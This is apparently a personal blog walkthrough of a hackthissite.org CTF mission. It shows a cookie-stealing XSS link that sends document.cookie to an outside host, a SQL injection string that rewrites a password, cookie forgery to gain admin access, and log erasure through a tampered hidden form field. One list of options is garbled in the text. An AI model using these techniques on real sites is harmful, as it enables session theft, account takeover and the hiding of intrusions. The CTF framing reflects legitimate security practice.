Mon, Jun 07, 21
Welcome back to my walkthrough of hackthissite.org’s CTF missions. I will be going through my thought process of how I solved these missions, and therefore also giving away the solutions. If you came across this to give you hints, watch out for spoilers! Good luck, have fun.
Our next realistic mission asks us to hack a website and ensure that the person contacting us gets properly paid for their work. They supply me with their login information in order to complete this challenge.
My first step for this challenge will be very similar to the last one. I will begin by going through the website, trying to see if I can find some kind of file structure and see if they have anything ‘interesting’ that I should be keeping in mind. Going through what is accessible prior to loging-in, we can see that the URL ./files/ is accessible and has directory listing off. I was able to deduce this URL from the mailing list page. From here, I can access the logs, the mailing list, and the demo of some software. I will keep this in mind as I start exploring the signed-in section of the website.
The first thing that I notice when loging-in is that 3 cookies are set client side: {strUsername, strPassword, intID}. strUsername is the username/email that was used to login, encoded in url-encoding. strPassword seems to be an encoded version of the password that was used to login; ilovemywork was encoded into 5b3de25c4dba60d2102281633d339b48. Looking at this encoded password, I instantly feel like it seems familiar, my suspicion is that it was hashed using MD5. This assumption was indeed correct as when I independently hash ilovemywork, I get the result 5b3de25c4dba60d2102281633d339b48. intID was set to 2. Now that I have loged in, I now have access to two other pages, a ‘pay salaries’ page and a ‘private message’ page. Going through the private message page, I notice that we can send messages to 4 different people, including myself. The source code exposes the direct email addresses of these people, which we may need to use later in this challenge. Making a mental note of this, I will now checkout the ‘pay salaries’ page. Accessing this page, we are instantly presented with the message: “You are not an administrator.” which suggests that we do not have the correct cookies in order to access this page. Now, we must figure out which cookies this page uses in order to ‘validate’ a ‘pay salaries’ request.
Going back to the private message page, there is an interesting observation to be made. The user that we are currently loged in as is listed as the second one in the dropdown list. Our intID cookie is also set to 2, which could suggest that this is somehow correlated. Otherwise, there are 3 users listed in addition to our current account, a sales man - which is exactly the same title given to the account I am currently in, thus we can ignore this - an owner, and a developer. Whilst it doesn’t say ‘administrator’ we can assume that at least one of those two - owner, developer - are given the ‘administrator’ access level. It is apparent that we need to ‘fake’ being one of these people in order to complete this mission. Since there doesn’t seem to be any apparent way to find out the passwords of either of these accounts, I will will begin by changing the strUsername and intID cookies to match up with what is shown in the dropdown list. Changing to the owner had the same “You are not an administrator” message, as changing the two cookies to match with the developer. This suggests that the backend does indeed verify the cookie strPassword in order to validate a ‘pay salaries’ request. Moving forward, I will target the owner, and my next objective is to complete one of the following:
m-crap@crappysoft.comm-crap@crappysoft.comstrPassword cookie of the account: m-crap@crappysoft.comstrPassword cookie of the account: m-crap@crappysoft.comNumber 1 in the list above would only be possible if:
The only obvious way to access the users database directly is if the ‘login’ form is susceptible to SQL injection. Since the cookie strPassword is served to the client in hashed form, one would assume that the password is stored in hashed form in the database. This means that the SQL query that is used to authenticate a login request would look something like the following: SELECT * FROM users WHERE username="username-in-clear" AND password="MD5(passsword-in-clear)". Furthermore, upon loging-in, there is no data served to the user that is directly off of the user database, thus we cannot easily ‘find/uncover’ the password. So, this is not the right step forward for this challenge.
Number 2 in the list above would only be possible if the login form is susceptible to SQL injection. This is a possible step forward. Since we know the rought look of the SQL query that is used to authenticate a login request, we can try to use it to change the password of the owner. By setting the username to anything, and the password to something like: '; UPDATE users SET password="ae2b1fca515949e5d54fb22b8ed95575" where username="m-crap@crappysoft.com";. This assumes that the table that stores the users information is named users, that the two fields {password, username} are used to store the password and username respectively, and that the username is stored as the full email. If any of these fields have been obfuscated, or SQL injection is simply not possible, then this makes this option obsolete as brute forcing these fields would take a very long time, and if SQL injection is not possible then its entirely useless to move forward. We will consider the rest of the options prior to moving forward with any attack vector.
Number 3 in the list above is considerably harder than it seems as the password cookie is a MD5 hashed value of the actual password. Since I have no idea what the password could be, in order to ‘fake’ the password cookie, it would be equivalent to trying to brute force into his account. In theory, this can take years, and thus is not a smart idea to go forward with.
Lastly, number 4 in the list above could be done in a wide variety of ways. Firstly, you can establish some sort of man-in-the-middle scenario with SSL stripping in order to obtain the cookie. This is definitely out of the scope of this mission and will not be discussed further but, it is a possibility. The other way is through XSS. There is a very important observation to be made about the strPassword cookie - and all the cookies that are used on this website - and that being, that the HttpOnly flag is not set, meaning any frontend Javascript can access the cookie directly. This suggests that if we can serve some frontend content using this website to the owner that has embedded Javascript, we could steal the cookie and send it off to a personal endpoint to collect said cookie. This seems to be the most likely attack vector as we do have a ‘private message’ system that is used on this website. If the messages are not stripped of any Javascript/HTML tags, then this is a fairly simple attack vector to complete.
Moving forward with the fourth attack vector using XSS, we will first need to figure out if the ‘private message’ section is indeed susceptible to XSS. To do so, we will construct a ‘fake’ message to our owner that asks them to click a link that will steal their cookie. The following demonstrates the contents of our message:
<a href="javascript:void(window.location='https://personalwebsite.com?cookie='+document.cookie);"> CLICK HERE </a>
Sending this message to the owner instantly results with the webpage giving us this message:
It's beyond the scope of this mission to check the XSS. So, assume you got this cookie:
strUsername=m-crap%40crappysoft.com; strPassword=94a35a3b7befff5eb2a8415af04aa16c; intID=1;
So there we have it! I didn’t even need to setup an actual endpoint. With this, we now have the correct credentials to complete this misson. Changing our client-side cookies to match with what was provided, we will now try to access the ‘pay salaries’ page. This indeed did give us access to the ‘pay salaries’ page and our next step forward is to click the ‘pay’ button that is displayed beside our client’s email address. Doing so resulted with the following message being displayed on the webpage: YHEE THANKS MAN!! Thank's for my salary you really own!! dont forget to clean the logs by subscribing to them!!.
Our final objective is now to clear the logs of our activity. The hint given in order to complete this is that we must ‘subscribe’ to them. This suggests that we should check out the ‘mailing list’ page more carefully. Going to this webpage, we can see that there is a note saying that the script that adds you to the mailing list removes all lines in the mailing list that do not have any ‘@’ characters. Inspecting the form, we can see that there is a hidden field that determines the location of the mailing list. Since we already know where the logs are located from the initial investigation of the website, all that is needed to do is to change the value of the hidden form field to be ./files/logs/logs.txt and click submit.
And there we have it, realistic mission 9 is complete.